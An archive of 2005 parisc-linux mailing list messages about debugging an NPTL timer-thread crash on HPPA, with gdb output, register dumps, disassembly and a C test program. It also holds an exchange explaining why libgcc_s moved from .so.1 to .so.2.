NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:58 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Aug 2005 13:41:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 02 Aug 2005 15:41:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBB0A7D69C;
	Tue,  2 Aug 2005 07:41:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19046-05; Tue, 2 Aug 2005 07:41:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED2FE7D6A5;
	Tue,  2 Aug 2005 07:41:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4A3F7D696
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 07:41:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19046-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Aug 2005 07:41:38 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id EC4A37D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 07:41:37 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dzx1T-0007wO-00; Tue, 02 Aug 2005 09:41:35 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SB2dYlRNeSEkRb6WZHQhaXN1IGRvb0AN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23012


Randolph,

Might you have a clue as to why gdb can't debug a SIGEV_THREAD?
This test fails with a SIGSEGV in NPTL. The thread is in
__deallocate_stack (DSO address check from fault) 

The bug itself could be a problem with the CLONE_SETTLS flag
implementation.


-----
(gdb) break *0x400294dc
Breakpoint 2 at 0x400294dc: file list.h, line 71.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y^H
Starting program:
/mnt/flaire/src/tls-toolchain-hppa/build/tests/tst-timer/tst-timer 
Breakpoint 2 at 0x400294dc
Breakpoint 2 at 0x400294dc: file list.h, line 71.

Breakpoint 1, main () at tst-timer.c:82
82        setvbuf (stdout, 0, _IOLBF, 0);
(gdb) c
Continuing.

00000000 00000000 00000002 0002119a 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 

00000000 

00000000 00000000 00000002 0002119a 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 

00022098 

00000000 00000000 00000002 0002119a 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 

00022098 
notify_func1

Program terminated with signal SIGTRAP, Trace/breakpoint trap.
The program no longer exists.
(gdb)
-----
do_page_fault() pid=24956 command='tst-timer' type=15 address=0x00000005

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0000000000000000 0000000000000000 000000004004c154 0000000040049f64
r04-07  0000000040049f64 0000000000000000 00000000410bc500 00000000000000fb
r08-11  ffffffffdeadbeef 00000000007d0f00 00000000000220a8 00000000000000fb
r12-15  0000000000800000 00000000408bd000 0000000000000007 00000000deadbeef
r16-19  00000000000220a8 0000000040411dae 0000000000022098 0000000040049f64
r20-23  0000000000000000 0000000000000001 00000000410bc540 0000000000000000
r24-27  0000000000000001 0000000000000000 000000004004c154 0000000000021184
r28-31  0000000000000000 0000000000000001 00000000410bc340 000000004002949b
sr0-3   00000000008d7800 0000000000000000 0000000000000000 00000000008d7800
sr4-7   00000000008d7800 00000000008d7800 00000000008d7800 00000000008d7800

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  00000000101f3edc 00000000107575f8 0000000012603c18 0000000000000000
fr08-11  00000000106d3ae0 0000000000000002 00000000106d3ae0 0000000000000802
fr12-15  0000000010199cf8 0000000000000020 00000000101c7e84 00000000125ae000
fr16-19  00000000125ae000 0000000000000000 00000000106d3ae0 000f41fa2f9b5bc0
fr20-23  0000000000000020 00000000101c7e84 0000000000000088 00000040cccccccd
fr24-27  0000001b55555555 3fe0000000000000 412e848000000000 00000000106d3ae0
fr28-31  000000006f8ecdc8 000000000000000b 0000000000000020 0000000000000000

IASQ: 00000000008d7800 00000000008d7800 IAOQ: 00000000400294df 00000000400294e3
 IIR: 0ebc1288    ISR: 00000000008d7800  IOR: 0000000000000005
 CPU:        0   CR30: 000000003ec88000 CR31: 0000000010694000
 ORIG_R28: 0000000000000000
 IAOQ[0]: 0x400294df
 IAOQ[1]: 0x400294e3
 RP(r2): 0x4004c154
-----
00006434 <__deallocate_stack>:
    6434:       6b c2 3f d9     stw rp,-14(,sp)
    6438:       34 1c 00 1c     ldi e,ret0
    643c:       37 de 01 00     ldo 80(sp),sp
    6440:       6b dc 3f 19     stw ret0,-74(,sp)
    6444:       2a 60 00 00     addil 0,r19,%r1
    6448:       23 8e cb d5     ldil -21524000,ret0
    644c:       48 22 00 b0     ldw 58(,r1),rp
    6450:       6b c6 3f 31     stw r6,-68(,sp)
    6454:       37 9c 3d df     ldo -111(ret0),ret0
    6458:       08 1a 02 46     copy r26,r6
	Save input struct pthread* to r6

    645c:       6b c4 3f 41     stw r4,-60(,sp)
    6460:       34 1d 00 02     ldi 1,ret1
    6464:       34 04 00 00     ldi 0,r4
    6468:       6b c3 3f 49     stw r3,-5c(,sp)
    646c:       08 01 02 43     copy r1,r3
    6470:       6b c8 3f 21     stw r8,-70(,sp)
    6474:       6b c7 3f 29     stw r7,-6c(,sp)
    6478:       6b c5 3f 39     stw r5,-64(,sp)
    647c:       6b d3 3f c1     stw r19,-20(,sp)
    6480:       6b dc 3f 11     stw ret0,-78(,sp)

Atomic CAS to acquire the stack_cache_lock
-----
    6484:       08 02 02 5a     copy rp,r26
    6488:       08 04 02 59     copy r4,r25
    648c:       08 1d 02 58     copy ret1,r24
    6490:       e4 00 81 60     be,l b0(sr2,r0),%sr0,%r31
    6494:       34 14 00 00     ldi 0,r20
    6498:       86 b6 20 02     cmpib,=,n b,r21,64a0 <__deallocate_stack+0x6c>
    649c:       08 00 02 40     nop
    64a0:       6b dc 3f 11     stw ret0,-78(,sp)
    64a4:       0a a0 04 15     sub r0,r21,r21
    64a8:       6b d5 3f 19     stw r21,-74(,sp)
-----

    64ac:       4b c5 3f 19     ldw -74(,sp),r5
    64b0:       84 bc 22 3a     cmpib,=,n e,r5,65d4 <__deallocate_stack+0x1a0>
    64b4:       4b d4 3f 19     ldw -74(,sp),r20
    64b8:       34 1c 01 f6     ldi fb,ret0
    64bc:       82 9c 22 22     cmpb,=,n ret0,r20,65d4 <__deallocate_stack+0x1a0>
    64c0:       4b dc 3f 11     ldw -78(,sp),ret0
    64c4:       8f 80 22 38     cmpib,<> 0,ret0,65e8 <__deallocate_stack+0x1b4>
    64c8:       08 13 02 44     copy r19,r4
    64cc:       34 d6 00 80     ldo 40(r6),r22
    64d0:       0e c8 10 9c     ldw 4(,r22),ret0
    64d4:       48 d5 00 80     ldw 40(,r6),r21
	Load parameter offset 40 from struct pthread*

    64d8:       40 d4 03 c2     ldb 1e1(,r6),r20
    64dc:       0e bc 12 88     stw ret0,4(,r21)
	Store result into that address
    .....                       *BOOM*
-----
/* Tests for POSIX timer implementation. */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

void hexdump(int * data, size_t length);

static void
notify_func1 (union sigval sigval)
{
  puts ("notify_func1");
}

static void
intr_sleep (int sec)
{
  struct timespec ts;

  ts.tv_sec = sec;
  ts.tv_nsec = 0;

  while (nanosleep (&ts, &ts) == -1 && errno == EINTR)
    ;
}

#define ZSIGALRM 14

void
hexdump(int * data, size_t length)
{
  unsigned int i;
  size_t wordlength = length / 4;
  for (i=0; i < wordlength; i++)
    {
      if ((i % 8) == 0)
        printf("\n");
      printf("%08x ", data[i]);
    }
  printf("\n");
}

int
main (void)
{
  timer_t timer_thr1;
  struct sigevent sigev2;
  struct itimerspec itimer2 = { { 0, 100000000 }, { 0, 500000000 } };
  struct itimerspec old;

  memset(&timer_thr1, '\0', sizeof(timer_thr1));  
  memset(&sigev2, '\0', sizeof(sigev2));  
  
  sigev2.sigev_notify = SIGEV_THREAD;
  sigev2.sigev_notify_function = notify_func1;
  sigev2.sigev_notify_attributes = NULL;
  /* It is unnecessary to do the following but to set a good example
     we do it anyhow.  */
  sigev2.sigev_value.sival_ptr = NULL;

  setvbuf (stdout, 0, _IOLBF, 0);

  hexdump((int *)&sigev2, sizeof(sigev2));
  hexdump((int *)&timer_thr1, sizeof(timer_thr1));

  if (timer_create (CLOCK_REALTIME, &sigev2, &timer_thr1) != 0)
    {
      printf ("timer_create for timer_thr1 failed: %m\n");
      exit (1);
    }
  
  hexdump((int *)&sigev2, sizeof(sigev2));
  hexdump((int *)&timer_thr1, sizeof(timer_thr1));
  
  if (timer_settime (timer_thr1, 0, &itimer2, &old) != 0)
    {
      printf ("timer_settime for timer_thr1 failed: %m\n");
      exit (1);
    }
  
  hexdump((int *)&sigev2, sizeof(sigev2));
  hexdump((int *)&timer_thr1, sizeof(timer_thr1));
  intr_sleep (6);
  
  if (timer_delete (timer_thr1) != 0)
    {
      printf ("timer_delete for timer_thr1 failed: %m\n");
      exit (1);
    }
  return 0;
}
-----

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NPTL pthread_cancel and libgcc_s.so.2 vs.
	libgcc_s.so.1 (Why the DSO version bump?)
Date: Tue, 2 Aug 2005 09:59:10 -0400
Lines: 93
Approved: news@gmane.org
Message-ID: <20050802135905.GD9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623878 15930 80.91.229.3 (22 Nov 2014 02:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Aug 2005 13:59:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 02 Aug 2005 15:59:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2D357D6C0;
	Tue,  2 Aug 2005 07:59:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19252-10; Tue, 2 Aug 2005 07:59:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79A987D6B8;
	Tue,  2 Aug 2005 07:59:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 170CA7D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 07:59:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19252-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Aug 2005 07:59:12 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 5905C7D662
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 07:59:12 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DzxIU-00081U-00; Tue, 02 Aug 2005 09:59:10 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bhmdYrAZeSEker6WZHQhaXN1IGRvb0A+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23013


Dave,

When I attempt to test syscall cancellation with NPTL threads the
interface complains that:

libgcc_s.so.1 must be installed for pthread_cancel to work

I don't have this installed, instead I have libgcc_s.so.2 installed by
gcc 4.x during the tls toolchain compile/install.

The code in question is nptl/sysdeps/pthread/unwind-resume.c, which does this:

---
static void
init (void)
{
  void *resume, *personality;
  void *handle;

  handle = __libc_dlopen ("libgcc_s.so.1");

  if (handle == NULL 
      || (resume = __libc_dlsym (handle, "_Unwind_Resume")) == NULL 
      || (personality = __libc_dlsym (handle, "__gcc_personality_v0")) == NULL)
    __libc_fatal ("libgcc_s.so.1 must be installed for pthread_cancel to work\n");

  libgcc_s_resume = resume; 
  libgcc_s_personality = personality;
}
---
or
---
void
pthread_cancel_init (void)
{
  void *resume, *personality, *forcedunwind, *getcfa;
  void *handle;

  if (__builtin_expect (libgcc_s_getcfa != NULL, 1))
    return; 

  handle = __libc_dlopen ("libgcc_s.so.1");

  if (handle == NULL 
      || (resume = __libc_dlsym (handle, "_Unwind_Resume")) == NULL 
      || (personality = __libc_dlsym (handle, "__gcc_personality_v0")) == NULL 
      || (forcedunwind = __libc_dlsym (handle, "_Unwind_ForcedUnwind"))
         == NULL 
      || (getcfa = __libc_dlsym (handle, "_Unwind_GetCFA")) == NULL 
#ifdef ARCH_CANCEL_INIT
      || ARCH_CANCEL_INIT (handle)
#endif
      )
    __libc_fatal ("libgcc_s.so.1 must be installed for pthread_cancel to work\n");

  libgcc_s_resume = resume; 
  libgcc_s_personality = personality;
  libgcc_s_forcedunwind = forcedunwind;
  libgcc_s_getcfa = getcfa; 
}
---

It wants to "forward" the local calls for _Unwind_Resume, __gcc_personality_v0,
_Unwind_ForcedUnwind and _Unwind_GetCFA to those in ligcc_s.so.1.

The call sequence is like this:

(Enter cancellable syscall)
...
__libc_enable_asynccancel
  __do_cancel
    __pthread_unwind
      (Calls _Unwind_GetCFA ...)
...
(Do the syscall)
...
__libc_disable_asynccancel
...
(Done)

This is called to enable unwinding out of a cancelled syscall.
What was the reason for DSO version bump in libgcc_s.so.1?

c.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL pthread_cancel and libgcc_s.so.2 vs.
	libgcc_s.so.1 (Why the DSO version bump?)
Date: Tue, 2 Aug 2005 10:13:42 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200508021413.j72EDgM3013869@hiauly1.hia.nrc.ca>
References: <20050802135905.GD9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623878 15932 80.91.229.3 (22 Nov 2014 02:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Aug 2005 14:13:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 02 Aug 2005 16:13:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0972B7D6C0;
	Tue,  2 Aug 2005 08:13:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19642-07; Tue, 2 Aug 2005 08:13:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AA097D6C1;
	Tue,  2 Aug 2005 08:13:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E3897D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 08:13:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19586-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Aug 2005 08:13:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8CC297D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 08:13:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j72EDhnV013871; Tue, 2 Aug 2005 10:13:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j72EDgM3013869;
	Tue, 2 Aug 2005 10:13:42 -0400 (EDT)
In-Reply-To: <20050802135905.GD9703@systemhalted.org> from "Carlos O'Donell"
	at Aug 2, 2005 09:59:10 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9xqdYi9HeSEkSr6WZHQhaXN1IGRvbwB9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23014

> What was the reason for DSO version bump in libgcc_s.so.1?

It was done to distinguish between libgcc_s's built with sjlj and dwarf2
eh support, respectively.  They use incompatible unwind routines and it's
not possible to support both exception handling techniques with one library.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gdb debugging SIGEV_THREAD threads?
Date: Tue, 02 Aug 2005 22:44:55 +0800
Lines: 13
Approved: news@gmane.org
Message-ID: <42EF86E7.40506@tausq.org>
References: <20050802134128.GC9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623879 15934 80.91.229.3 (22 Nov 2014 02:37:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Aug 2005 14:44:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 02 Aug 2005 16:44:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A667C7D69C;
	Tue,  2 Aug 2005 08:44:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20052-10; Tue, 2 Aug 2005 08:44:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10FEC7D6B7;
	Tue,  2 Aug 2005 08:44:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C694E7D696
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 08:44:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20021-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 2 Aug 2005 08:44:41 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 150937D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Aug 2005 08:44:41 -0600 (MDT)
Original-Received: from 20.199.17.210.dyn.pacific.net.hk ([210.17.199.20]
	helo=[192.168.1.101])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1Dzxy2-0004f9-C6; Tue, 02 Aug 2005 22:42:06 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <20050802134128.GC9703@systemhalted.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tuOdYi9weSEkVb6WZHQhaXN1IGRvb4Ck
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23015

> Might you have a clue as to why gdb can't debug a SIGEV_THREAD?
> This test fails with a SIGSEGV in NPTL. The thread is in
> __deallocate_stack (DSO address check from fault) 

Not a clue, but I can look into it.

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gdb debugging SIGEV_THREAD threads?
Date: Tue, 2 Aug 2005 11:25:15 -0400
